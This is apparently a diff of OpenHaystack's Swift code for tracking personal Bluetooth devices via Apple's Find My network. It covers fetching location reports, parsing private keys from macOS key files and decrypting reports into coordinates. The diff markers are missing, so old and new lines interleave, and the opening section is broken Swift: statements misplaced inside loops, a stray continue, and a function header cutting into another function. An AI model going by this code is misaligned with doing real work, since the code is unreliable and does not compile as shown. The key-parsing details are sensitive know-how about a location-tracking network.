|
||||
|
||||
#if EXPORT
|
||||
if let encoded = try? JSONEncoder().encode(reports) {
|
||||
let outputDirectory = FileManager.default.urls(
|
||||
for: .desktopDirectory, in: .userDomainMask
|
||||
).first!
|
||||
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
|
||||
}
|
||||
#endif
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self.devices = devices
|
||||
|
||||
self.decryptReports {
|
||||
completion(nil)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func decryptReports(completion: () -> Void) {
|
||||
print("Decrypting reports")
|
||||
|
||||
// Iterate over all devices
|
||||
for deviceIdx in 0..<devices.count {
|
||||
devices[deviceIdx].decryptedReports = []
|
||||
let device = devices[deviceIdx]
|
||||
|
||||
// Map the keys in a dictionary for faster access
|
||||
guard let reports = device.reports else { continue }
|
||||
let keyMap = device.keys.reduce(
|
||||
into: [String: FindMyKey](), { $0[$1.hashedKey.base64EncodedString()] = $1 })
|
||||
|
||||
let accessQueue = DispatchQueue(
|
||||
label: "threadSafeAccess",
|
||||
qos: .userInitiated,
|
||||
attributes: .concurrent,
|
||||
autoreleaseFrequency: .workItem, target: nil)
|
||||
var decryptedReports = [FindMyLocationReport](
|
||||
repeating:
|
||||
FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
|
||||
count: reports.count)
|
||||
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
|
||||
let report = reports[reportIdx]
|
||||
guard let key = keyMap[report.id] else { return }
|
||||
do {
|
||||
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
|
||||
|
||||
self.devices.append(contentsOf: devices)
|
||||
self.fetchReports(with: searchPartyToken, completion: completion)
|
||||
// Decrypt the report
|
||||
let locationReport = try DecryptReports.decrypt(report: report, with: key)
|
||||
accessQueue.async(flags: .barrier) {
|
||||
decryptedReports[reportIdx] = locationReport
|
||||
}
|
||||
} catch {
|
||||
self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
accessQueue.sync {
|
||||
devices[deviceIdx].decryptedReports = decryptedReports
|
||||
}
|
||||
}
|
||||
|
||||
func importReports(reports: [FindMyReport], and keys: Data, completion:@escaping () -> Void) throws {
|
||||
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
|
||||
completion()
|
||||
|
||||
// Decrypt the reports with the imported keys
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
// Add the reports to the according device by finding the right key for the report
|
||||
for report in reports {
|
||||
}
|
||||
|
||||
guard let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
|
||||
device.keys.contains { (key) -> Bool in
|
||||
key.hashedKey.base64EncodedString() == report.id
|
||||
}
|
||||
}) else {
|
||||
print("No device found for id")
|
||||
continue
|
||||
}
|
||||
if var reports = devices[deviceIndex].reports {
|
||||
reports.append(report)
|
||||
devices[deviceIndex].reports = reports
|
||||
} else {
|
||||
devices[deviceIndex].reports = [report]
|
||||
}
|
||||
}
|
||||
self.devices = devices
|
||||
func exportDevices() {
|
||||
|
||||
// Decrypt the reports
|
||||
self.decryptReports {
|
||||
self.exportDevices()
|
||||
DispatchQueue.main.async {
|
||||
completion()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func importDevices(devices: Data) throws {
|
||||
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
|
||||
|
||||
// Delete the decrypted reports
|
||||
for idx in devices.startIndex..<devices.endIndex {
|
||||
devices[idx].decryptedReports = nil
|
||||
}
|
||||
|
||||
self.devices = devices
|
||||
|
||||
// Decrypt reports again with additional information
|
||||
self.decryptReports {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
||||
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
let fetchReportGroup = DispatchGroup()
|
||||
|
||||
let fetcher = ReportsFetcher()
|
||||
|
||||
var devices = self.devices
|
||||
for deviceIndex in 0..<devices.count {
|
||||
fetchReportGroup.enter()
|
||||
devices[deviceIndex].reports = []
|
||||
|
||||
// Only use the newest keys for testing
|
||||
let keys = devices[deviceIndex].keys
|
||||
|
||||
let keyHashes = keys.map({$0.hashedKey.base64EncodedString()})
|
||||
|
||||
// 21 days
|
||||
let duration: Double = (24 * 60 * 60) * 21
|
||||
let startDate = Date() - duration
|
||||
|
||||
fetcher.query(forHashes: keyHashes,
|
||||
start: startDate,
|
||||
duration: duration,
|
||||
searchPartyToken: searchPartyToken) { jd in
|
||||
guard let jsonData = jd else {
|
||||
fetchReportGroup.leave()
|
||||
return
|
||||
}
|
||||
|
||||
do {
|
||||
// Decode the report
|
||||
let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
|
||||
devices[deviceIndex].reports = report.results
|
||||
|
||||
} catch {
|
||||
print("Failed with error \(error)")
|
||||
devices[deviceIndex].reports = []
|
||||
}
|
||||
fetchReportGroup.leave()
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Completion Handler
|
||||
fetchReportGroup.notify(queue: .main) {
|
||||
print("Finished loading the reports. Now decrypt them")
|
||||
|
||||
// Export the reports to the desktop
|
||||
var reports = [FindMyReport]()
|
||||
for device in devices {
|
||||
for report in device.reports! {
|
||||
reports.append(report)
|
||||
}
|
||||
}
|
||||
|
||||
#if EXPORT
|
||||
if let encoded = try? JSONEncoder().encode(reports) {
|
||||
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
|
||||
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
|
||||
}
|
||||
#endif
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self.devices = devices
|
||||
|
||||
self.decryptReports {
|
||||
completion(nil)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func decryptReports(completion: () -> Void) {
|
||||
print("Decrypting reports")
|
||||
|
||||
// Iterate over all devices
|
||||
for deviceIdx in 0..<devices.count {
|
||||
devices[deviceIdx].decryptedReports = []
|
||||
let device = devices[deviceIdx]
|
||||
|
||||
// Map the keys in a dictionary for faster access
|
||||
guard let reports = device.reports else {continue}
|
||||
let keyMap = device.keys.reduce(into: [String: FindMyKey](), {$0[$1.hashedKey.base64EncodedString()] = $1})
|
||||
|
||||
let accessQueue = DispatchQueue(label: "threadSafeAccess",
|
||||
qos: .userInitiated,
|
||||
attributes: .concurrent,
|
||||
autoreleaseFrequency: .workItem, target: nil)
|
||||
var decryptedReports = [FindMyLocationReport](repeating:
|
||||
FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
|
||||
count: reports.count)
|
||||
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
|
||||
let report = reports[reportIdx]
|
||||
guard let key = keyMap[report.id] else {return}
|
||||
do {
|
||||
// Decrypt the report
|
||||
let locationReport = try DecryptReports.decrypt(report: report, with: key)
|
||||
accessQueue.async(flags: .barrier) {
|
||||
decryptedReports[reportIdx] = locationReport
|
||||
}
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
accessQueue.sync {
|
||||
devices[deviceIdx].decryptedReports = decryptedReports
|
||||
}
|
||||
}
|
||||
|
||||
completion()
|
||||
|
||||
}
|
||||
|
||||
func exportDevices() {
|
||||
|
||||
if let encoded = try? PropertyListEncoder().encode(self.devices) {
|
||||
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
|
||||
try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
|
||||
}
|
||||
if let encoded = try? PropertyListEncoder().encode(self.devices) {
|
||||
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask)
|
||||
.first!
|
||||
try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
struct FindMyControllerKey: EnvironmentKey {
|
||||
static var defaultValue: FindMyController = .shared
|
||||
static var defaultValue: FindMyController = .shared
|
||||
}
|
||||
|
||||
extension EnvironmentValues {
|
||||
var findMyController: FindMyController {
|
||||
get {self[FindMyControllerKey.self]}
|
||||
set {self[FindMyControllerKey.self] = newValue}
|
||||
}
|
||||
var findMyController: FindMyController {
|
||||
get { self[FindMyControllerKey.self] }
|
||||
set { self[FindMyControllerKey.self] = newValue }
|
||||
}
|
||||
}
|
||||
|
||||
enum FindMyErrors: Error {
|
||||
case decodingPlistFailed(message: String)
|
||||
case decodingPlistFailed(message: String)
|
||||
}
|
||||
|
||||
@@ -1,113 +1,116 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CryptoKit
|
||||
import Foundation
|
||||
|
||||
/// Decode key files found in newer macOS versions.
|
||||
class FindMyKeyDecoder {
|
||||
/// Key files can be in different format.
|
||||
/// The old <= 10.15.3 have been using normal plists.
|
||||
/// Newer once use a binary format which needs different parsing
|
||||
enum KeyFileFormat {
|
||||
// swiftlint:disable identifier_name
|
||||
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
|
||||
/// file format that can be parsed identically.
|
||||
/// macOS 10.15.7 uses a new key file format that has not been reversed yet.
|
||||
/// (The key files are protected by sandboxing and only usable from a SIP disabled)
|
||||
case catalina_10_15_4
|
||||
/// Key files can be in different format.
|
||||
/// The old <= 10.15.3 have been using normal plists.
|
||||
/// Newer once use a binary format which needs different parsing
|
||||
enum KeyFileFormat {
|
||||
// swiftlint:disable identifier_name
|
||||
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
|
||||
/// file format that can be parsed identically.
|
||||
/// macOS 10.15.7 uses a new key file format that has not been reversed yet.
|
||||
/// (The key files are protected by sandboxing and only usable from a SIP disabled)
|
||||
case catalina_10_15_4
|
||||
}
|
||||
|
||||
var fileFormat: KeyFileFormat?
|
||||
|
||||
func parse(keyFile: Data) throws -> [FindMyKey] {
|
||||
// Detect the format at first
|
||||
if fileFormat == nil {
|
||||
try self.checkFormat(for: keyFile)
|
||||
}
|
||||
guard let format = self.fileFormat else {
|
||||
throw ParsingError.unsupportedFormat
|
||||
}
|
||||
|
||||
var fileFormat: KeyFileFormat?
|
||||
switch format {
|
||||
case .catalina_10_15_4:
|
||||
let keys = try self.parseBinaryKeyFiles(from: keyFile)
|
||||
return keys
|
||||
}
|
||||
}
|
||||
|
||||
func parse(keyFile: Data) throws -> [FindMyKey] {
|
||||
// Detect the format at first
|
||||
if fileFormat == nil {
|
||||
try self.checkFormat(for: keyFile)
|
||||
}
|
||||
guard let format = self.fileFormat else {
|
||||
throw ParsingError.unsupportedFormat
|
||||
}
|
||||
|
||||
switch format {
|
||||
case .catalina_10_15_4:
|
||||
let keys = try self.parseBinaryKeyFiles(from: keyFile)
|
||||
return keys
|
||||
}
|
||||
func checkFormat(for keyFile: Data) throws {
|
||||
// Key files need to start with KEY = 0x4B 45 59
|
||||
let magicBytes = keyFile.subdata(in: 0..<3)
|
||||
guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
|
||||
throw ParsingError.wrongMagicBytes
|
||||
}
|
||||
|
||||
func checkFormat(for keyFile: Data) throws {
|
||||
// Key files need to start with KEY = 0x4B 45 59
|
||||
let magicBytes = keyFile.subdata(in: 0..<3)
|
||||
guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
|
||||
throw ParsingError.wrongMagicBytes
|
||||
}
|
||||
// Detect zeros
|
||||
let potentialZeros = keyFile[15..<31]
|
||||
guard potentialZeros == Data(repeating: 0x00, count: 16) else {
|
||||
throw ParsingError.wrongFormat
|
||||
}
|
||||
// Should be big sur
|
||||
self.fileFormat = .catalina_10_15_4
|
||||
}
|
||||
|
||||
// Detect zeros
|
||||
let potentialZeros = keyFile[15..<31]
|
||||
guard potentialZeros == Data(repeating: 0x00, count: 16) else {
|
||||
throw ParsingError.wrongFormat
|
||||
}
|
||||
// Should be big sur
|
||||
self.fileFormat = .catalina_10_15_4
|
||||
fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
|
||||
var keys = [FindMyKey]()
|
||||
// First key starts at 32
|
||||
var i = 32
|
||||
|
||||
while i + 117 < keyFile.count {
|
||||
// We could not identify what those keys were
|
||||
_ = keyFile.subdata(in: i..<i + 32)
|
||||
i += 32
|
||||
if keyFile[i] == 0x00 {
|
||||
// Public key only.
|
||||
// No need to parse it. Just skip to the next key
|
||||
i += 86
|
||||
continue
|
||||
}
|
||||
|
||||
guard keyFile[i] == 0x01 else {
|
||||
throw ParsingError.wrongFormat
|
||||
}
|
||||
// Step over 0x01
|
||||
i += 1
|
||||
// Read the key (starting with 0x04)
|
||||
let fullKey = keyFile.subdata(in: i..<i + 85)
|
||||
i += 85
|
||||
// Create the sub keys. No actual need,
|
||||
// but we do that to put them into a similar format as used before 10.15.4
|
||||
|
||||
let advertisedKey = fullKey.subdata(in: 1..<29)
|
||||
let yCoordinate = fullKey.subdata(in: 29..<57)
|
||||
|
||||
var shaDigest = SHA256()
|
||||
shaDigest.update(data: advertisedKey)
|
||||
let hashedKey = Data(shaDigest.finalize())
|
||||
|
||||
let fmKey = FindMyKey(
|
||||
advertisedKey: advertisedKey,
|
||||
hashedKey: hashedKey,
|
||||
privateKey: fullKey,
|
||||
startTime: nil,
|
||||
duration: nil,
|
||||
pu: nil,
|
||||
yCoordinate: yCoordinate,
|
||||
fullKey: fullKey)
|
||||
|
||||
keys.append(fmKey)
|
||||
}
|
||||
|
||||
fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
|
||||
var keys = [FindMyKey]()
|
||||
// First key starts at 32
|
||||
var i = 32
|
||||
return keys
|
||||
}
|
||||
|
||||
while i + 117 < keyFile.count {
|
||||
// We could not identify what those keys were
|
||||
_ = keyFile.subdata(in: i..<i+32)
|
||||
i += 32
|
||||
if keyFile[i] == 0x00 {
|
||||
// Public key only.
|
||||
// No need to parse it. Just skip to the next key
|
||||
i += 86
|
||||
continue
|
||||
}
|
||||
|
||||
guard keyFile[i] == 0x01 else {
|
||||
throw ParsingError.wrongFormat
|
||||
}
|
||||
// Step over 0x01
|
||||
i+=1
|
||||
// Read the key (starting with 0x04)
|
||||
let fullKey = keyFile.subdata(in: i..<i+85)
|
||||
i += 85
|
||||
// Create the sub keys. No actual need,
|
||||
// but we do that to put them into a similar format as used before 10.15.4
|
||||
|
||||
let advertisedKey = fullKey.subdata(in: 1..<29)
|
||||
let yCoordinate = fullKey.subdata(in: 29..<57)
|
||||
|
||||
var shaDigest = SHA256()
|
||||
shaDigest.update(data: advertisedKey)
|
||||
let hashedKey = Data(shaDigest.finalize())
|
||||
|
||||
let fmKey = FindMyKey(advertisedKey: advertisedKey,
|
||||
hashedKey: hashedKey,
|
||||
privateKey: fullKey,
|
||||
startTime: nil,
|
||||
duration: nil,
|
||||
pu: nil,
|
||||
yCoordinate: yCoordinate,
|
||||
fullKey: fullKey)
|
||||
|
||||
keys.append(fmKey)
|
||||
}
|
||||
|
||||
return keys
|
||||
}
|
||||
|
||||
enum ParsingError: Error {
|
||||
case wrongMagicBytes
|
||||
case wrongFormat
|
||||
case unsupportedFormat
|
||||
}
|
||||
enum ParsingError: Error {
|
||||
case wrongMagicBytes
|
||||
case wrongFormat
|
||||
case unsupportedFormat
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,197 +1,203 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
// swiftlint:disable identifier_name
|
||||
|
||||
import Foundation
|
||||
import CoreLocation
|
||||
import Foundation
|
||||
|
||||
struct FindMyDevice: Codable, Hashable {
|
||||
|
||||
let deviceId: String
|
||||
var keys = [FindMyKey]()
|
||||
let deviceId: String
|
||||
var keys = [FindMyKey]()
|
||||
|
||||
var catalinaBigSurKeyFiles: [Data]?
|
||||
var catalinaBigSurKeyFiles: [Data]?
|
||||
|
||||
/// KeyHash: Report results
|
||||
var reports: [FindMyReport]?
|
||||
/// KeyHash: Report results
|
||||
var reports: [FindMyReport]?
|
||||
|
||||
var decryptedReports: [FindMyLocationReport]?
|
||||
var decryptedReports: [FindMyLocationReport]?
|
||||
|
||||
func hash(into hasher: inout Hasher) {
|
||||
hasher.combine(deviceId)
|
||||
}
|
||||
func hash(into hasher: inout Hasher) {
|
||||
hasher.combine(deviceId)
|
||||
}
|
||||
|
||||
static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
|
||||
lhs.deviceId == rhs.deviceId
|
||||
}
|
||||
static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
|
||||
lhs.deviceId == rhs.deviceId
|
||||
}
|
||||
}
|
||||
|
||||
struct FindMyKey: Codable {
|
||||
internal init(advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?, pu: Data?, yCoordinate: Data?, fullKey: Data?) {
|
||||
self.advertisedKey = advertisedKey
|
||||
self.hashedKey = hashedKey
|
||||
// The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
|
||||
if privateKey.count == 85 {
|
||||
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
||||
} else {
|
||||
self.privateKey = privateKey
|
||||
}
|
||||
|
||||
self.startTime = startTime
|
||||
self.duration = duration
|
||||
self.pu = pu
|
||||
self.yCoordinate = yCoordinate
|
||||
self.fullKey = fullKey
|
||||
internal init(
|
||||
advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?,
|
||||
pu: Data?, yCoordinate: Data?, fullKey: Data?
|
||||
) {
|
||||
self.advertisedKey = advertisedKey
|
||||
self.hashedKey = hashedKey
|
||||
// The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
|
||||
if privateKey.count == 85 {
|
||||
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
||||
} else {
|
||||
self.privateKey = privateKey
|
||||
}
|
||||
|
||||
init(from decoder: Decoder) throws {
|
||||
let container = try decoder.container(keyedBy: CodingKeys.self)
|
||||
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
|
||||
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
|
||||
let privateKey = try container.decode(Data.self, forKey: .privateKey)
|
||||
if privateKey.count == 85 {
|
||||
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
||||
} else {
|
||||
self.privateKey = privateKey
|
||||
}
|
||||
self.startTime = startTime
|
||||
self.duration = duration
|
||||
self.pu = pu
|
||||
self.yCoordinate = yCoordinate
|
||||
self.fullKey = fullKey
|
||||
}
|
||||
|
||||
self.startTime = try? container.decode(Date.self, forKey: .startTime)
|
||||
self.duration = try? container.decode(Double.self, forKey: .duration)
|
||||
self.pu = try? container.decode(Data.self, forKey: .pu)
|
||||
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
|
||||
self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
|
||||
init(from decoder: Decoder) throws {
|
||||
let container = try decoder.container(keyedBy: CodingKeys.self)
|
||||
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
|
||||
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
|
||||
let privateKey = try container.decode(Data.self, forKey: .privateKey)
|
||||
if privateKey.count == 85 {
|
||||
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
||||
} else {
|
||||
self.privateKey = privateKey
|
||||
}
|
||||
|
||||
/// The advertising key
|
||||
let advertisedKey: Data
|
||||
/// Hashed advertisement key using SHA256
|
||||
let hashedKey: Data
|
||||
/// The private key from which the advertisement keys can be derived
|
||||
let privateKey: Data
|
||||
/// When this key was used to send out BLE advertisements
|
||||
let startTime: Date?
|
||||
/// Duration from start time how long the key has been used to send out BLE advertisements
|
||||
let duration: Double?
|
||||
/// ?
|
||||
let pu: Data?
|
||||
self.startTime = try? container.decode(Date.self, forKey: .startTime)
|
||||
self.duration = try? container.decode(Double.self, forKey: .duration)
|
||||
self.pu = try? container.decode(Data.self, forKey: .pu)
|
||||
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
|
||||
self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
|
||||
}
|
||||
|
||||
/// As exported from Big Sur
|
||||
let yCoordinate: Data?
|
||||
/// As exported from BigSur
|
||||
let fullKey: Data?
|
||||
/// The advertising key
|
||||
let advertisedKey: Data
|
||||
/// Hashed advertisement key using SHA256
|
||||
let hashedKey: Data
|
||||
/// The private key from which the advertisement keys can be derived
|
||||
let privateKey: Data
|
||||
/// When this key was used to send out BLE advertisements
|
||||
let startTime: Date?
|
||||
/// Duration from start time how long the key has been used to send out BLE advertisements
|
||||
let duration: Double?
|
||||
/// ?
|
||||
let pu: Data?
|
||||
|
||||
/// As exported from Big Sur
|
||||
let yCoordinate: Data?
|
||||
/// As exported from BigSur
|
||||
let fullKey: Data?
|
||||
}
|
||||
|
||||
struct FindMyReportResults: Codable {
|
||||
let results: [FindMyReport]
|
||||
let results: [FindMyReport]
|
||||
}
|
||||
|
||||
struct FindMyReport: Codable {
|
||||
let datePublished: Date
|
||||
let payload: Data
|
||||
let id: String
|
||||
let statusCode: Int
|
||||
let datePublished: Date
|
||||
let payload: Data
|
||||
let id: String
|
||||
let statusCode: Int
|
||||
|
||||
let confidence: UInt8
|
||||
let timestamp: Date
|
||||
let confidence: UInt8
|
||||
let timestamp: Date
|
||||
|
||||
enum CodingKeys: CodingKey {
|
||||
case datePublished
|
||||
case payload
|
||||
case id
|
||||
case statusCode
|
||||
enum CodingKeys: CodingKey {
|
||||
case datePublished
|
||||
case payload
|
||||
case id
|
||||
case statusCode
|
||||
}
|
||||
|
||||
init(from decoder: Decoder) throws {
|
||||
let values = try decoder.container(keyedBy: CodingKeys.self)
|
||||
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
|
||||
// Convert from milis to time interval
|
||||
let dP = Date(timeIntervalSince1970: dateTimestamp / 1000)
|
||||
let df = DateFormatter()
|
||||
df.dateFormat = "YYYY-MM-dd"
|
||||
|
||||
if dP < df.date(from: "2020-01-01")! {
|
||||
self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
|
||||
} else {
|
||||
self.datePublished = dP
|
||||
}
|
||||
|
||||
init(from decoder: Decoder) throws {
|
||||
let values = try decoder.container(keyedBy: CodingKeys.self)
|
||||
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
|
||||
// Convert from milis to time interval
|
||||
let dP = Date(timeIntervalSince1970: dateTimestamp/1000)
|
||||
let df = DateFormatter()
|
||||
df.dateFormat = "YYYY-MM-dd"
|
||||
self.statusCode = try values.decode(Int.self, forKey: .statusCode)
|
||||
let payloadBase64 = try values.decode(String.self, forKey: .payload)
|
||||
|
||||
if dP < df.date(from: "2020-01-01")! {
|
||||
self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
|
||||
} else {
|
||||
self.datePublished = dP
|
||||
}
|
||||
guard let payload = Data(base64Encoded: payloadBase64) else {
|
||||
throw DecodingError.dataCorruptedError(
|
||||
forKey: CodingKeys.payload, in: values, debugDescription: "")
|
||||
}
|
||||
self.payload = payload
|
||||
|
||||
self.statusCode = try values.decode(Int.self, forKey: .statusCode)
|
||||
let payloadBase64 = try values.decode(String.self, forKey: .payload)
|
||||
|
||||
guard let payload = Data(base64Encoded: payloadBase64) else {
|
||||
throw DecodingError.dataCorruptedError(forKey: CodingKeys.payload, in: values, debugDescription: "")
|
||||
}
|
||||
self.payload = payload
|
||||
|
||||
var timestampData = payload.subdata(in: 0..<4)
|
||||
let timestamp: Int32 = withUnsafeBytes(of: ×tampData) { (pointer) -> Int32 in
|
||||
// Convert the endianness
|
||||
pointer.load(as: Int32.self).bigEndian
|
||||
}
|
||||
|
||||
// It's a cocoa time stamp (counting from 2001)
|
||||
self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
|
||||
self.confidence = payload[4]
|
||||
|
||||
self.id = try values.decode(String.self, forKey: .id)
|
||||
var timestampData = payload.subdata(in: 0..<4)
|
||||
let timestamp: Int32 = withUnsafeBytes(of: ×tampData) { (pointer) -> Int32 in
|
||||
// Convert the endianness
|
||||
pointer.load(as: Int32.self).bigEndian
|
||||
}
|
||||
|
||||
func encode(to encoder: Encoder) throws {
|
||||
var container = encoder.container(keyedBy: CodingKeys.self)
|
||||
try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
|
||||
try container.encode(self.payload.base64EncodedString(), forKey: .payload)
|
||||
try container.encode(self.id, forKey: .id)
|
||||
try container.encode(self.statusCode, forKey: .statusCode)
|
||||
}
|
||||
// It's a cocoa time stamp (counting from 2001)
|
||||
self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
|
||||
self.confidence = payload[4]
|
||||
|
||||
self.id = try values.decode(String.self, forKey: .id)
|
||||
}
|
||||
|
||||
func encode(to encoder: Encoder) throws {
|
||||
var container = encoder.container(keyedBy: CodingKeys.self)
|
||||
try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
|
||||
try container.encode(self.payload.base64EncodedString(), forKey: .payload)
|
||||
try container.encode(self.id, forKey: .id)
|
||||
try container.encode(self.statusCode, forKey: .statusCode)
|
||||
}
|
||||
}
|
||||
|
||||
struct FindMyLocationReport: Codable {
|
||||
let latitude: Double
|
||||
let longitude: Double
|
||||
let accuracy: UInt8
|
||||
let datePublished: Date
|
||||
let timestamp: Date?
|
||||
let confidence: UInt8?
|
||||
let latitude: Double
|
||||
let longitude: Double
|
||||
let accuracy: UInt8
|
||||
let datePublished: Date
|
||||
let timestamp: Date?
|
||||
let confidence: UInt8?
|
||||
|
||||
var location: CLLocation {
|
||||
return CLLocation(latitude: latitude, longitude: longitude)
|
||||
var location: CLLocation {
|
||||
return CLLocation(latitude: latitude, longitude: longitude)
|
||||
}
|
||||
|
||||
init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
|
||||
self.latitude = lat
|
||||
self.longitude = lng
|
||||
self.accuracy = acc
|
||||
self.datePublished = dP
|
||||
self.timestamp = t
|
||||
self.confidence = c
|
||||
}
|
||||
|
||||
init(from decoder: Decoder) throws {
|
||||
let values = try decoder.container(keyedBy: CodingKeys.self)
|
||||
|
||||
self.latitude = try values.decode(Double.self, forKey: .latitude)
|
||||
self.longitude = try values.decode(Double.self, forKey: .longitude)
|
||||
|
||||
do {
|
||||
let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
|
||||
self.accuracy = uAcc
|
||||
} catch {
|
||||
let iAcc = try values.decode(Int8.self, forKey: .accuracy)
|
||||
self.accuracy = UInt8(bitPattern: iAcc)
|
||||
}
|
||||
|
||||
init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
|
||||
self.latitude = lat
|
||||
self.longitude = lng
|
||||
self.accuracy = acc
|
||||
self.datePublished = dP
|
||||
self.timestamp = t
|
||||
self.confidence = c
|
||||
}
|
||||
|
||||
init(from decoder: Decoder) throws {
|
||||
let values = try decoder.container(keyedBy: CodingKeys.self)
|
||||
|
||||
self.latitude = try values.decode(Double.self, forKey: .latitude)
|
||||
self.longitude = try values.decode(Double.self, forKey: .longitude)
|
||||
|
||||
do {
|
||||
let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
|
||||
self.accuracy = uAcc
|
||||
} catch {
|
||||
let iAcc = try values.decode(Int8.self, forKey: .accuracy)
|
||||
self.accuracy = UInt8(bitPattern: iAcc)
|
||||
}
|
||||
|
||||
self.datePublished = try values.decode(Date.self, forKey: .datePublished)
|
||||
self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
|
||||
self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
|
||||
}
|
||||
self.datePublished = try values.decode(Date.self, forKey: .datePublished)
|
||||
self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
|
||||
self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
enum FindMyError: Error {
|
||||
case decryptionError(description: String)
|
||||
case decryptionError(description: String)
|
||||
}
|
||||
|
||||
@@ -1,23 +1,25 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import Cocoa
|
||||
import MapKit
|
||||
import SwiftUI
|
||||
|
||||
struct MapView: NSViewControllerRepresentable {
|
||||
@Environment(\.findMyController) var findMyController
|
||||
@Environment(\.findMyController) var findMyController
|
||||
|
||||
func makeNSViewController(context: Context) -> MapViewController {
|
||||
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
|
||||
}
|
||||
func makeNSViewController(context: Context) -> MapViewController {
|
||||
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
|
